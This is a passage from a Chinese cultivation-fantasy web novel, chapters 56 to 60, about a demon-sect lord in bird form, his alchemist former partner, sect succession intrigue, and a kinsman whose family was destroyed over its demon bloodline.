“前些日子，有宫内弟子前往秘境采撷天材地宝，出来时却遭到正道修士的围攻。” 裴寂夜没有理会高淳秋，他继续道：“这里可是魔域，仙门弟子也太嚣张了些，如今又有你追踪白骨宗的应啸天，怎么？难不成最近仙门修士的天劫越来越难应付，他们需要除魔卫道，来砍几个我魔道修士，应付老天爷的天劫清算吗？” 高淳秋沉默了很久。 虽然他知道想要达成自己的目的是非常困难的事，可没想到自己露出了如此多破绽。 不，不算是他的破绽，而是那些仙门大宗根本没将他的请求放在眼里。 也罢，不是早就想到这一点了吗？ 在他转为妖族后，在很多仙门修士来看，他就是妖族修士了，该滚去妖族混沌之地潜修，而不是继续在真界乱窜。 高淳秋：“我此前对寂夜魔君说，想要得到琳琅道君炼制的时转丹，这并非谎言，我的确非常需要这种灵丹。” 裴寂夜不为所动：“当年琳琅道君炼制了一批时转丹，他放到了各大拍卖会卖了一批，还有一部分交给了九夏山，你既然出身仙门，完全可以走宗门渠道问九夏山交换一枚。” 尽管这都是他离开九夏山后发生的事了，可以裴寂夜太了解谢琳琅了，谢琳琅向来如此处理炼制好的丹药。 高淳秋沉默良久才道：“道友言辞机敏，无孔不入，想必在寂夜宫身居高位吧？不知道友如何称呼？” 裴寂夜漠然道：“一开始不问，现在就没必要问了。” 高淳秋越发感到难堪。 一开始不问，自然是因为他觉得这只禽妖放纵七情伤身，是需要纠错的后辈；现在没必要问，是说他高淳秋不够格知道这禽妖的身份！ 此獠言辞如刀，是个狠角色。 半晌，高淳秋才不甘不愿地道：“我过去的师门的确帮我找了九夏山，可九夏山非说正值宗门选拔掌门之际，权责不明，不方便进行交换……” “你说什么？” 杀马特小鸟甚至顾不上用沙哑低沉的啾啾声装鸟叫了，他直接口吐人言，“九夏山要换掌门？” 高淳秋不解地说：“……没错，虽然还未公布，但现任掌门已经传书给各大宗门，言辞间的确有退隐之意。” 裴寂夜心底油然升腾起一股难以言喻的愤怒。 好好好，怪不得要在谢琳琅身死道消后的第二年就赶紧开了芥子境，九夏山仲夏一脉是想赶紧将他们伯夏一支势弱之际，彻底将掌门的位置钉死在仲夏！ 他和裴寂夜的师尊才是上一代嫡传弟子中的大师兄，只不过他们的师尊刀子嘴豆腐心，在修为尚弱时说了些过于“耿直”的话，后来修行游历之际遭人暗算，不得不当了一回金手指老爷爷。 谢琳琅给沈鹤当金手指老爷爷当得这么熟稔，也是有原因的。 尽管后来裴寂夜和谢琳琅的师尊重返九夏山，可当时的师弟、也就是现任掌门不仅修为高深，也笼络了大多同辈师兄姐们，并得了宗门长辈的看重。 最终传承了万余年的掌门之位，落在了裴寂夜和谢琳琅的师叔之手。 两人的师尊由此郁结于心，为了一份突破的机缘远走漠北，身死道消。 这也是当年裴霁出事时，谢琳琅并未找宗门求助的原因之一。 因为理论上下一任宗门掌门之位应该交给他们的大师姐。 只是大师姐生性不喜欢繁琐之事，顺次下延，就该由裴霁接任。 可就在谢琳琅和裴霁即将结为道侣之际，裴霁却突然失踪，没多久还身陨，这由不得谢琳琅多想。 第57章 第 57 章 “那个丹药叫醉平生。”…… 谢琳琅和裴霁的师尊名为神幽真人。 神幽真人天资不凡, 在入门后的极短时间内展现出了非凡的天赋，被上一任九夏山的掌门收为开山大弟子，下一任掌门似乎非他莫属。 然而世事难料, 神幽真人因为言辞如刀, 最终遭人暗算, 不得不变成随身老爷爷重新修行。 神幽真人的重修可不像谢琳琅这样好运。 沈鹤手上有炼制重塑丹药的主药, 以及谢琳琅本人就是丹王等级的超强丹师, 可以在短短两三个月内就重塑真身。 神幽真人耗费了将近两百年的时光。 当他再一次站在九夏山的山门前, 早已物是人非。 曾经在他身后讷讷不敢言的师弟已经成长为一个优秀而合格的掌门继承人。 上任掌门迟疑良久，最终选择了神幽真人的师弟，也就是现在这位掌门为继承人。 原因很复杂，但最直观的因素在于, 神幽真人为了偿还宿主的因果, 收了对方为徒。 而他的宿主就是裴霁和谢琳琅两人的大师姐。 他们的大师姐资质一般, 为人沉闷不爱说话，除了默默修行外从不会将注意力分到其他事务上。 上任掌门觉得裴霁和谢琳琅两人的大师姐资质太差, 偏生他们的师叔收的弟子是个天才。 这么一对比, 最终上任掌门将位置传给了两人的师叔。 神幽真人为此愤懑嫉恨，专门选了天资不凡的裴霁和同样天纵奇才的谢琳琅为徒，就是为了争这一口气。 神幽真人最后一次前往漠北寻找机缘，临行前念念不忘的, 就是拉着裴霁的手, 叮嘱他务必将掌门之位争回来，因为他们伯夏这一脉才是九夏山的正统！ 当时裴霁和谢琳琅都没在意。 由于神幽真人的心结问题, 裴霁和谢琳琅的大师姐很少回山门，大部分时间都在外修行游历、寻找机缘。 但如今裴霁和谢琳琅同样陨落了，整个伯夏一脉再无人可以参与竞争, 这显然不正常。 要知道裴霁失踪时已然元婴期了，他收了两个徒弟，天赋都不错，后来谢琳琅也多有照顾，两人此刻已经是金丹期了。 再过个百年，这两名弟子也许能进阶元婴，有一争之力。 掌门之位看的不是实力，而是能力和资质。 偏生现在的九夏山掌门要提前传位，难道是想卡在两个金丹期弟子还未结婴前，将位置传给他的徒弟吗？ 理清楚这一切的裴霁勃然大怒。 他可以不要，但别人不能抢，尤其在他遭到暗算的现在，这种强抢的行为更是激发了他心中戾气和愤怒。 一瞬间，他心底涌动着非常恐怖的情绪。 高淳秋心中大骇。 因距离过近，他被这股情绪冲得头晕眼花。 若是这股情绪化为铺天盖地的力量，想必足以掀翻并毁灭眼前的一切。 对魔修来说，躁动的情绪也许会上头做出蠢事，但这股情绪也能极大增加魔修的实力，发出百分之一百五十的力量。 高淳秋不由自主地后退了几步，甚至开始左右环视，琢磨着要不要突破宝船的防护阵法，先跑为敬了。 可下一秒，高淳秋又怔住了。 原来眼前的幼鸟开始拉长身体，仿佛化为了一抹漆黑的影子，幽暗的火焰无声燃烧着，继而如网一样张开，变成了一只体态优雅而美丽的禽妖。 他有着纤长的脖颈、体态轻盈优雅的身躯和宽大而美丽的漆黑翎羽，原本脑袋上看起来非常可笑的杀马特鸟毛拉长后形成了随风飘扬的棱形翎羽。 宽大而锐利的爪子上覆盖了角质的鳞片，上面萦绕着黑紫色恐怖的力量，长而如瀑布一样尾羽上点缀着墨绿色的亮点，看上去像是萤火虫般美丽，可实际上那是几乎凝聚为实体的恐怖毒素。 哪怕是化神期修士，稍微沾一些也会变成一滩血水。 禽妖看上去不大，只是覆盖了船尾的空隙，他微微俯身，单爪抓着围栏，稍微抬起双翼，竟如一片漆黑的乌云遮蔽了半片天空般，极具压迫感。 面对这样的杀马特大鸟，高淳秋心底浮现出浓烈的危机。 他想要转身撤退，可不知何时，脚下宝船甲板竟浮现了漆黑的束缚符文，根本无法自由行动！ 高淳秋再无侥幸之心，他发出了清脆的鸣叫声。 一股浓烈的生机从高淳秋身上爆发，继而他的身体也开始拉长、变形。 青蓝色的羽翼扩张开来，眨眼间他变成了一只同样娇小却暗含恐怖生机的青蓝色带白色斑纹的禽妖。 而就在高淳秋变形结束的瞬间，裴寂夜已经以迅雷不及掩耳之势，猛烈扑杀过来。 高淳秋抖动翎羽，白色斑纹如水流般晃动，四周不知何时出现了一层淡淡的白色雾气，想要迷惑裴寂夜的进攻方向。 漆黑的大鸟果然恍神。 趁此良机，高淳秋口吐精纯的白色火焰，试图击退眼前的漆黑大鸟。 可就在此时，高淳秋突然觉得尾巴一痛，他下意识地将羽毛化为利刃向后冲击，无数青蓝色利刃剁剁剁地扎进宝船船体，然后一股恐怖的力量猛地撞击而来。 原来不知何时，那黑色大鸟竟然缩小了身体，借着翎羽释放时的视线遮蔽，无声无息地凑到了他身侧！ 黑色大鸟那双鲜红色的眼睛里闪过一丝冰冷的杀意，原本纤细的脖颈突然收缩，继而满是锯齿的鸟喙张开，血盆大口陡然出现，竟一口将青蓝色的毕方鸟儿吞噬入腹！ 高淳秋：糟糕！ 恐怖的咀嚼声出现，继而是骨头破碎的声音，再然后是血肉消融…… 嗯？盛怒之下，裴寂夜本想直接吞噬这毕方血脉以加强自身力量。 但当他开始吸收毕方血脉时，一股心悸的感觉涌了上来，继而他惊愕地发现，这高淳秋…… 不对！这个不能吞！ 裴寂夜连忙将倒霉蛋高淳秋呕了出来。 裴寂夜体内的毒何其恐怖，只是短短几秒钟，青蓝色的毕方就已经融化了大半，别说美丽的青蓝色羽毛了，连骨头都碎了一地，血肉如水般流淌着。 裴寂夜目光阴郁地盯着就差一步咽气的高淳秋，啧了一声，他挥动翅膀，收起这只蠢鸟，缩小身体，轻盈飞入了宝船之中。 宝船最上层，一个较为宽敞的静室内，金翎真人，也就是之前主持丹药大比的化神修士毕恭毕敬地站在赤红树枝架子旁。 在裴寂夜落在上面后，金翎真人轻声道：“宫主。” 裴寂夜依旧是一只美丽的黑鸟，尾巴上的绿色光斑不断跃动着，似乎空气都要被融化了，出现了奇异的扭曲光斑。 “救活他。” 裴寂夜冷漠地将高淳秋扔在地上，“别弄死了。” 下一秒，裴寂夜消失不见。 金翎真人躬身称是，稍等了几秒，确定没有后续命令后，他才抹了把额头的汗，站直身体。 在看到几乎要融化为血水的高淳秋，金翎真人摇摇头，赶紧翻箱倒柜寻找治疗的药物。 好在宫主已经收回了怨毒，否则高淳秋必死无疑。 裴寂夜变回杀马特肉翅鸟，可怜巴巴地瘫在谢琳琅的静室前。 静室门关着，以他的实力，自然可以直接一爪子踹开。 裴寂夜想要不顾一切地冲进去，反正是个代餐而已。 可等他真的抬起爪子了，考虑到分开前谢琳琅似乎在生气，杀马特小鸟又可怜地呜咽一声，滑跪在了大门口。 “……夜前辈？” 不知何时沈鹤出现在了谢琳琅静室的门口，马尾少年看了几眼裴寂夜，突然意识到不对，“前辈是不是生病了？” 沈鹤与这位夜前辈相处的时间比较多，每次夜前辈都精神抖擞，那双鲜红色的眼睛仿佛能看穿他的神魂，非常可怕。 但现在夜前辈怎么显得这么萎靡？ 像是饿了、额，是刚和人斗法，消耗了很大力气的样子。 沈鹤迟疑着问：“您要不要吃点高级饲料丸？” 裴寂夜慢吞吞地站直身体，目光冰冷地看着沈鹤，又看了看谢琳琅的门扉。 沈鹤乖巧地说：“我是来找谢师兄询问丹药的事，之前我看给您服用了一颗特别的丹药，我想打听一下，要是能自己炼制就好了。” 裴寂夜审视着沈鹤，确定沈鹤不是在骗他后，才扑棱着肉翅，落在了沈鹤的肩膀上。 他还用鸟喙去啄沈鹤的肩膀，似乎在催促沈鹤赶紧敲门。 沈鹤有些无语，他觉得自己好像发现怎么应付夜前辈的敲门了。 想到这里，沈鹤上前拍门：“谢师兄？在吗？” 很快谢琳琅打开了静室门，只是在看到夜前辈站在沈鹤肩膀上，忍不住微微蹙眉。 谢琳琅似乎想说什么，可是考虑到沈鹤毕竟被师尊林郁嘱托了照顾夜前辈，他自己可以拍开夜前辈，但不可能让沈鹤也这么做。 “沈师弟？什么事？” “我想了解一番之前你喂给夜前辈的丹药。” 沈鹤开门见山，他含蓄地表示：“那个丹药似乎能帮助夜前辈悟道，若是夜前辈有所进益就太好了。” 让这只鸟自己沉浸在修炼中，他就不会找麻烦啦！ 谢琳琅嘴角抽了抽，他沉默了一会才说：“那是、是我家里的前辈留下的丹药，我虽然知道配方，但我的实力和材料，我无法炼制出来。” 那是他作为琳琅道君时期炼制的丹药，是此前在九灵宗的废弃之地里找到的库藏。 “那个丹药叫醉平生。” 谢琳琅垂眸，声音仿佛从很遥远的地方传来，“效果是让使用者重温此生中最快乐时光时所产生的情绪，沉醉其中，不愿醒来。” 在裴霁走后，甚至连他强留的玄魄剑也没有裴霁的气息后，谢琳琅只能用这种方法让自己开心些了。 裴寂夜听后却是一愣。 第58章 第 58 章 刀不落在自己身上，人人…… 醉平生, 取平生沉醉之情，再不复醒之意。 裴寂夜知道这个丹药，虽然不曾再见过谢琳琅, 可是作为寂夜宫的宫主, 每次真界那边开大型拍卖会, 总会有人将相关拍卖名录送到他手上。 谢琳琅作为真界颇负盛名的丹王, 他的丹药是各大拍卖会的常客, 经常能卖上高价。 裴寂夜也从上面看到了不少谢琳琅新开发的丹药。 自从裴寂夜明面上死亡后, 像是激发了谢琳琅的天赋。 谢琳琅总是能拿出一些奇奇怪怪的丹药和令人匪夷所思的配方，再加上让人惊奇的效果和超高的成丹率，以至于来找他委托丹药的修士越来越多，谢琳琅的名气也越来越大。 只要是谢琳琅送到拍卖会的丹药名录, 裴寂夜都仔细阅读过。 醉平生这个丹药流出的数量非常少, 据说炼制的材料很难得, 谢琳琅炼制了一炉后就没怎么炼制过了。 主要是这丹药的效果太过偏门，一般人也用上。 不过总有一些苦大仇深、或者被心魔困扰的修士, 需要利用此丹突破心障, 所以遇到有需求的修士，总能拍出天价。 裴寂夜幽幽地盯着谢琳琅。 这叫谢玉的少年随便一出手就是当初谢琳琅很少对外出售的丹药，可见谢玉果然是谢家有天赋的子弟，被谢琳琅托付给了李平湖。 至于为什么不是九夏山, 裴寂夜想想自己的遭遇, 就对谢琳琅的选择表示理解。 怪不得李平湖是谢琳琅在魔域的丹药贩售代理。 李平湖照顾谢氏子弟，谢琳琅给与李平湖一些高品质丹药, 双方也算是各取所需。 而且有谢琳琅珠玉在前，想必夕死门对于谢玉的才能也颇为期待吧？ 若是谢玉未来成为谢琳琅那样的丹师，夕死门总不会吃亏。 证明了谢玉果真和谢家有关系, 反而让裴寂夜更郁闷了。 杀马特小鸟看起来萎靡成一团，好不可怜。 沈鹤见状心生怜悯，他忍不住追问谢琳琅：“谢师兄，我能换配方吗？” 谢琳琅有些无语，修士太过好心可不是什么好事。 可是谁又能厌恶这等有着赤子之心的人呢？ 谢琳琅叹了口气：“原丹方是以灵力为主，需求很多真界特有的材料，就算你想炼制，也得先修改丹方，你我目前都没这能力……” 沈鹤先是奇怪，他师尊怎么没能力修改配方？他修改了好多张配方啊？ 但下一秒沈鹤就反应过来，总不能在杀马特的夜前辈面前暴露师尊重修的事。 于是他故意装作不甘心的样子说：“我还是想换丹方，林郁师尊也是宗门强大的丹师，也许可以请他帮忙。” 谢琳琅想了想：“这样吧，我听之前金丹期的前辈们说，咱们抵达界门之前需要路过好几处历练之地，每个弟子都有材料搜集任务，你帮我做这期间的全部任务，再分我一半材料，我就将丹方给你，如何？” 作为沈鹤的师尊，谢琳琅自然可以直接传授丹方。 但有个碍事的杀马特夜前辈在，那就只能让沈鹤勤劳一些了。 再说了，如今是宗门带队进行游历，背后还有宝船做后勤支援，是最好的锻炼自己的机会，此时不努力更待何时？ 沈鹤欣然同意：“没问题。” 谢琳琅还假装信赖沈鹤，直接将丹方交给了沈鹤。 沈鹤抓着似乎不想走的杀马特夜前辈，赶紧告辞离开了。 出了谢琳琅修行的静室，沈鹤提醒夜前辈：“谢师兄不喜欢被打扰，前辈你之前还拔了他的红嘴雀鸟毛，就算你想找谢师兄，难道不该弄点美容毛发的丹药或者材料再去吗？” 作为酒楼店小二，沈鹤看多了食客给评书先生上酒上菜、请对方多说几段故事的情形。 这夜前辈之前欺负了玉佩师尊的灵兽，居然没想过赔礼道歉吗？ 就算是前辈，也不能这么明目张胆欺负人啊。 裴寂夜听后忿忿地尖叫了一声。 赔礼道歉？他没有直接干掉所有红嘴雀，已经是看在那张和谢琳琅极为相似的面容的份上了！ 就是这么拌嘴的功夫，沈鹤已经拉着裴寂夜回到了他自己的静室。 沈鹤的静室和谢琳琅的一样，都是在船舱最底部的狭小房间，只有一个可供修行的软榻和一套桌椅。 夜前辈豪横地占据了软榻的位置。 沈鹤有些无语，索性坐在了椅子上，他拿出丹方细细看了起来。 他最近努力修行，拜修士良好的记性所赐，记下了成百上千的丹方，不过由于寂夜宫属于魔修，九成九的丹方都是魔修专用。 此刻看到谢琳琅给的丹方里出现了一堆真界的材料，他只认识其中一二，剩下的全都宛如天书，根本分不出每种材料的特性和作用。 沈鹤有些苦恼：“失策了，我该提前在宗门里找一些真界材料大全之类的典籍。” 沈鹤拿出一枚空白玉简，将自己不认识的材料记录下来。 “我打算去问问洪师兄，或者请教一下钱师兄，他家开铺子，应该比我更熟悉这个，夜前辈你……” 裴寂夜扑棱了一下肉翅，落在了沈鹤肩膀上。 他倒要看看这沈鹤葫芦里卖了什么药。 ……不会吧不会吧？沈鹤还真准备帮他炼制醉平生？ 就凭这修行了才半年的小子？就凭他差点被啄成血窟窿？ 沈鹤带着夜前辈拜访洪奎，又拜访钱师兄，最后还去找了带队的金丹前辈，他分开询问各材料的效用和细节，有些人给与了他答案，有些人与沈鹤做了交换才告诉他答案。 等沈鹤终于搞清楚这份丹方的大概情况后，才突然发现一直窝在他肩膀的夜前辈竟不知不觉消失了。 沈鹤有些郁闷。 要不是夜前辈非要跟着，他何必去找宗门前辈？直接找玉佩师尊就能得到答案啊。 沈鹤迈着沉重的步伐回到自己的静室。 静室里空荡荡的，显然夜前辈也没有回来。 沈鹤自我安慰，算了，就当是增加与宗门同道关系和感情吧。 殊不知，暗地里有一双鲜红的眼睛盯着沈鹤。 裴寂夜看了老半天，发现沈鹤似乎真的、大概、可能是想学习炼制醉平生？ 真是可笑。 他想，沈鹤真以为有丹方就能炼制出醉平生吗？ 不过是个实力低微、胆大包天的低阶修士而已。 裴寂夜的心底泛起了细细的刺痛，他看着沈鹤，就仿佛看到了过去的自己。 但正因为如此，他才更加嫉恨愤懑。 好与不好根本不重要，因为啊，天地不仁。 裴寂夜收回视线，化为一缕漆黑的墨色，消失了。 下一秒，他出现在了宝船的上层。 经过一天左右的紧急处理，金翎真人稳住了高淳秋的伤势。 见到漆黑色的、有着美丽头冠和深绿色怨毒晶珠的禽妖，金翎真人连忙躬身行礼：“前辈，高道友已经暂时恢复了。” 原本看起来血肉模糊的毕方鸟已然恢复了人型，高淳秋那头漂亮的蓝白双色长发消失了，他脑袋上的头发坑坑洼洼，有些地方还能看到头皮和疤痕。 他成一个冰雪做成的、气质清丽的修士，变成了一个倒霉蛋的斑秃。 高淳秋脸色白极了，他躺在床上一动都不敢动，总觉得全身骨头和血肉还处于消融散架状态，稍微动一动，身体可能就变成散装了。 裴寂夜抖了抖翅膀。 金翎真人立刻以极快速度窜出了房间，还贴心地关上门，拍了一张禁止偷听的强力防护阵法，生怕自己听到了什么不该听的动静。 一时间房间里只剩下了裴寂夜和高淳秋两个人、哦，两只鸟。 裴寂夜扑棱翅膀，落在了床榻上，他迈着四方步，最终窝在了高淳秋脸颊边。 高淳秋破罐子破摔了，他现在甚至没法开口说话，只能发神识。 “你到底想干什么？” 他和这只黑鸟间的差距太打了，之前差一点就死了，但这只鸟没有下死手，说明他身上有这只鸟忌惮的地方，既然如此那就没什么好怕的。 裴寂夜沉默了一会才道：“你出身哪个宗门？” 高淳秋沉吟片刻，还是老老实实回答：“天凌宗。” 裴寂夜差点笑出声，他的声音听起来低沉沙哑，宛如代表死亡的枭鸟在嚎叫。 “天凌宗自从出了如月那档子事，他们恨死魔修了，看不顺眼一切非真界修士，怪不得会将你撵出来。” 高淳秋冷淡地说：“刘师兄自毁根基，做下天怒人怨的事，死了活该，宗主也已然尽力安抚那些少年们，但凡还能继续修炼的弟子，都被宗主收入门中了。” 裴寂夜：“可是他们本来会是天之骄子，有着美好而充满希望的未来，却因为那人渣丧失了一切，事后弥补有用吗？” 高淳秋：“那宗主又能怎么样？” 裴寂夜：“在你看来，虽然那个刘师兄是个人渣，毁了很多人的一生，但只要宗主做出了补偿，就是可以接受的事，对吗？” 高淳秋：“没错。” 裴寂夜沉默了一会，终于开口道：“高淳秋，你最早不叫这个名字吧？你应该不姓高，而姓秋。” 高淳秋悚然一惊，他不可置信地看着裴寂夜：“你为什么会知道？” 裴寂夜垂下眼眸。 他知道啊，他当然知道，在他吞噬高淳秋的瞬间，他体内的血脉在沸腾，因为他和高淳秋的血脉关系非常近。 真是可笑，他们是亲戚呢。 “……我是裴霁，当年秋家因为我的缘故而被九灵宗覆灭，我现在给你点补偿，你会原谅我吗？” “我要杀了你！！！” 看着激动地恨不得撕了他的高淳秋，裴寂夜嘲笑道：“果然如此，刀不落在自己身上，人人都是正义凛然之辈。” 第59章 第 59 章 他在很久以前就知道我还…… 高淳秋忘不了曾经家族被人追杀、死亡殆尽的事。 他曾姓秋, 秋家在一处小型秘境周围的山城扎根繁衍，那里算是天凌宗的势力范围。 经过百余年发展，秋家渐渐成了一个真界里普普通通的修士家族。 秋家的一位长辈在游历时遇到一个姓裴的修士, 双方相处得还算愉快。 那前辈寿岁将近, 恰好有一女, 就暗中撮合女儿和裴姓修士。 两人彼此有意, 结为夫妻, 很有了一个天资极好的孩子叫裴霁。 恰好当时神幽真人正在满世界找天资好的徒弟, 遇到裴霁后惊为天人。 修行这种事真的很看天赋，裴霁的父母实力不高。 他父亲最早是散修，资源不足，没什么发展前途, 他母亲是修士的独女, 天性疏阔烂漫, 也没想过要修行求道，只想着和所爱之人共度百年就满足了。 于是神幽真人和裴霁的父母好好聊了聊。 既然裴霁有极佳天赋, 继续留在小山城里是浪费时光。 裴霁的父母同意裴霁拜入九夏山。 裴霁前半生的人生光明顺畅, 没有遇到过任何挫折，父母恩爱，携手抵达寿岁尽头，并共同入土为安。 而裴霁在九夏山逐渐闯荡出了剑仙的威名, 前途一片明亮。 可就在此刻, 裴霁失踪了。 本来秋家并未将此事放在心上，修士出门游历, 经常会一去不回，裴霁只是碰到了所有修士都会遇到的麻烦而已。 听闻裴霁陨落了，作为亲戚的秋家也只是说一句可惜就放开不管了。 然而秋家并不知道, 这却是他们倒霉的开始。 先是秋家外出的子弟一个个遇到各种意外，很快秋家又接到了九灵宗的一份大委托，出动了大半力量后，竟陨落了大部分子弟。 秋家看起来人数不少，可大多是低阶修士。 虽然也有几个天资不错的弟子拜入了天凌宗，但实力最强的也只有金丹期而已。 当时秋家乱得很，九灵宗还派人来问罪，说秋家接了九灵宗的委托，却暗中谋害九灵宗培育的兽卵，要抓走所有秋家子弟，作为宗门仆役弥补家族犯下的过错。 秋家向天凌宗求援，还找了秋家拜入天凌宗的修士。 这修士就是高淳秋的父亲。 秋修士得知家族出了岔子，立刻从天凌宗赶了回来。 他不是一个人回来的，还带了自己妻子高修士和已经进入炼气期的孩子秋淳。 曾经的秋淳正是如今的高淳秋。 很快高淳秋一家人就遭到了未知势力的伏杀。 他们慌不择路逃窜，却被强行逼入了一个远距离传送阵，等他们一家人从传送阵里出来，才愕然发现他们抵达了魔域？！ 真界修士在魔域游历也不是什么新鲜事，魔修们并不会见一个真界修士就蜂拥冲上去围攻。 可是暗中一直有人盯着高淳秋一家，秋修士接二连三遭到袭击，最终重伤，高修士在战斗时才发现自己又有了一个孩子。 万般无奈之下，高修士用秘法将孩子取了出来，想着先托付给周围的人家，等他们避开追杀后再回来找孩子。 但秋修士已经明白了一切。 “敌人的目标应该是我秋家子弟，我其实早已被宗门抛弃了。” 秋修士做出决定，沉痛地对妻子道：“你此刻尽管气血亏损，却能利用溢散的血气遮住阿淳，你带着阿淳回去，我带着这孩子引开追杀。” “无论如何，我们的敌人是魔修，绝不可对宗门有任何憎恨之情。” 秋修士语气坚定地说：“你们要先活下去，活下去才有机会搞清楚秋家到底遇到了什么，知道吗？” 高修士悲愤欲绝，她明白秋修士的意思，哪怕怀疑宗门在其中动了手脚，他们也必须什么都不知道。 最终她与爱侣诀别，带着懵懂的高淳秋离开了。 由于心爱之人死亡、第二个孩子生死不知，高修士挣扎着回到真界后很快就陨落了，只剩下高淳秋一个什么都不知道的孩子，被当时的天凌宗主留在了宗门里。 秋家是生活在天凌宗势力范围内的小家族，理论上天凌宗该庇护秋家。 但九灵宗提前和天凌宗打了招呼，说看上了秋家一个能追查灵兽的特殊秘宝，秋家不给，九灵宗想吞了，请天凌宗睁一只眼闭一只眼。 九灵宗给出了不错的筹码，天凌宗就没将此事放在心上。 可是秋家所有人都被九灵宗抓走了，天凌宗也不是傻子，终于回过味了。 九灵宗想要的根本不是什么秘宝，而是秋家本身的血脉。 秋家有什么特殊之处？ 天凌宗不得而知，但既然高淳秋回来了，天凌宗当然乐意留下秋家最后一个孩子。 高淳秋将名字改了，一方面努力修行，一方面百般打探九灵宗的事。 可是他没想到，还轮不到他做什么，九灵宗就先被寂夜宫覆灭了。 当时高淳秋还没有资格参与到这件事中，他只能不甘心地求着师尊，希望知道具体情况。 天凌宗主经过一番细致调查后，找到高淳秋，说了三件事。 首先九灵宗彻底完蛋了。 九灵宗的山门、库藏和地宫全都被人以大法力打入了混沌空间，谁都不知道九灵宗为什么会和寂夜宫闹翻，明明这两家以前曾是关系密切的同盟宗门。 其次经过这么多年的调查，天凌宗主大概知道秋家为什么会被九灵宗盯上了。 “九灵宗的秘法九灵图腾需要凑齐九只强大的妖兽之灵，炼化为自己的图腾，从而逐渐提升实力。九灵宗虽然也培育妖兽，可培育的妖兽力量和能力远不如真正的妖族。” 天凌宗主说这句话时，神色漠然而冰冷，他就如同那高高在上的仙人一样。 “但妖族的大妖实力强悍，凭借着妖身和神通，甚至能对抗比自己高一阶的修士，而且妖族性格暴虐，抽取他们的灵魂炼化为图腾，很容易激发怨怼和憎恨、造成反噬，所以近些年来九灵宗盯上了拥有妖族血脉的人族修士。” 高淳秋当时年少不知事，听到天凌宗主如此说，有些懵逼和茫然。 “妖族血脉的人族修士？您是说，秋家有妖族血脉？” “没错。” “可、可是秋家从未有过相关记载。” “上古分为几个大阶段。”天凌宗主没有理会高淳秋的疑惑，像是人机一样继续说，“在大夏覆灭后，人族崛起，妖族逐渐退隐藏匿起来。但在大夏之前，妖族遍布大陆，和很多人族修士共同生活，留下了很多血脉后裔。” “你们秋家应该也是这样的血脉后裔，只是经过漫长的时间流逝，血脉已经稀薄到不会显现出任何神通和征兆，可若是受到其他相似或者相反的血脉刺激，就会出现返祖情况。” 天凌宗主盯着高淳秋，“你知道九夏山的裴霁吗？” 高淳秋平日里跟着父亲在天凌宗修行，不太清楚家里的亲戚关系。 “……那是谁？” “裴霁的母亲是你父亲的堂姐，你和裴霁算是亲戚，裴霁拜入了九夏山……” 说到九夏山时，一直漠然无表情的天凌宗主神色微动，似乎在敬畏着天地因果业障，“九夏山虽然只是个二流宗门，但这个门派却承接上古大夏余辉，纵然大夏已经覆灭了，残留的功德庇护一个小型宗门还是没问题的。” “裴霁的血脉受到了刺激，又修行了九夏山最正统的伯夏一脉功法，竟阴差阳错血脉返祖了。可笑的是，他自己没发现，却被九灵宗的修士注意到了端倪。” 天凌宗主淡淡道：“由此，秋家成了九灵宗的图腾选择之一，你们家所有人都被九灵宗抽干了血脉，试图人工制造出更多的大妖后裔。” 高淳秋当时听得血液上涌，整个人都燃烧着愤怒和憎恨的火焰。 “九灵宗……” “不过你现在知道这一切也已经晚了，九灵宗被寂夜宫覆灭了。” “……您刚才说，寂夜宫和九灵宗曾是同盟宗门？” “没错，你母亲说你们莫名其妙被转移到了魔域，后来还遭到了魔修追杀，想必就是寂夜宫的手笔。” 天凌宗主终于看向了高淳秋，原本平淡无波的眼眸里泛起了掂量和嘲弄之意。 “怎么？你想向寂夜宫复仇？” “此仇不报，枉为人子！” “以你现在的实力和修行速度，是绝不可能达成目的的。” “还请宗主教我！” “既然你们秋家有上古妖族血脉，你想激活妖族血脉吗？” 天凌宗主打量高淳秋，说出了最后一个目的：“妖族寿岁比人族修士更长，还能觉醒天赋神通，你若是变成妖族，哪怕去魔域报仇，也不会引起其他魔修的注意。” 真界修士可能会招人注意，但一只大妖去魔域就隐蔽多了。 高淳秋想也不想就答应了：“想！我要觉醒妖族血脉！我要报仇雪恨！” 天凌宗主唇角微微勾起，露出了琢磨不定的微笑：“善。” …… “你是傻子吗？” 裴寂夜利用高淳秋激荡的愤怒情绪，再辅以妖族内血脉压制等秘术，轻易从高淳秋脑子里看到了这段记忆。 他忍不住骂道：“天凌宗主修的是无情道，你竟会以为他在帮你？他只是想拿你做实验，掌握怎么探查大妖血脉、怎么激活妖族血脉，再趁机体验一把妖族的神通和血脉传承是怎么回事而已！” 高淳秋压根听不进裴寂夜这番话，他满脑子只有一个想法。 “裴霁！你害秋家如此，我父母因你而死，家破人亡，你却成为寂夜宫修士，和寂夜宫狼狈为奸，你卑鄙无耻！！” 裴寂夜轻哼了一声：“关我屁事？你该恨的人是九灵宗、是无能为力的自己，哦，你恨我只是因为笃定我不会杀你？” “不会吧不会吧，你那位好师尊没告诉你，他在很久以前就知道我还活着吗？” 裴寂夜怜悯地看了一眼如遭雷击的高淳秋，“蠢货，他是故意将你送到我面前的。” 第60章 第 60 章 这可都是我深爱你的证明…… 谢琳琅并不知道裴霁就与自己相隔四个楼层。 他在甲板的最下层, 而裴霁在宝船的最顶层。 由于沈鹤突然要醉平生丹方的请求，导致谢琳琅突发奇想，正在整理自己的丹方。 他将未来可能用到的丹方进行修改, 努力变成魔修可以炼制的魔丹。 这是个非常浩大的工程。 裴霁陨落后, 谢琳琅内心悲痛不已, 处于一种微妙的摆烂的疯癫状态中。 他甚至随便往丹炉里扔材料, 完全抛弃了过往炼丹的一切规则, 并凭借着绝佳的对天地灵气的感悟, 现场品味当时炉鼎内造化之气的玄妙变化。 有时候谢琳琅甚至有种不如被丹炉诈死的错觉。 所谓文章憎命达，反而是这样漫不经心和无所顾忌的心态，彻底发挥出了谢琳琅超绝天赋，终于炼制出了一种又一种奇奇怪怪的丹药。 就仿佛他的丹药里, 蕴藏着一个魔。 这魔曼妙莫测, 如天地灵力变化多端, 又像是隐藏在无数心法和绝技中的道，若隐若现, 时而流露出一丝蛛丝马迹, 时而隐匿在诸多假象之中。 所以谢琳琅的丹方最难复刻，只因为他自己也不知道当初炼丹时，有没有脑子进水一样说一句，请天魔降临。 此刻谢琳琅回忆着自己留下的一张张丹方, 仿佛重新走了一遍痛苦而悲伤的路。 但那时他以为裴霁已经陨落了。 而现在裴霁就在人间, 所以谢琳琅一点都不痛苦。 相反他思考着另一件事，他是不是可以将这些有些癫的丹药全部炼制出来, 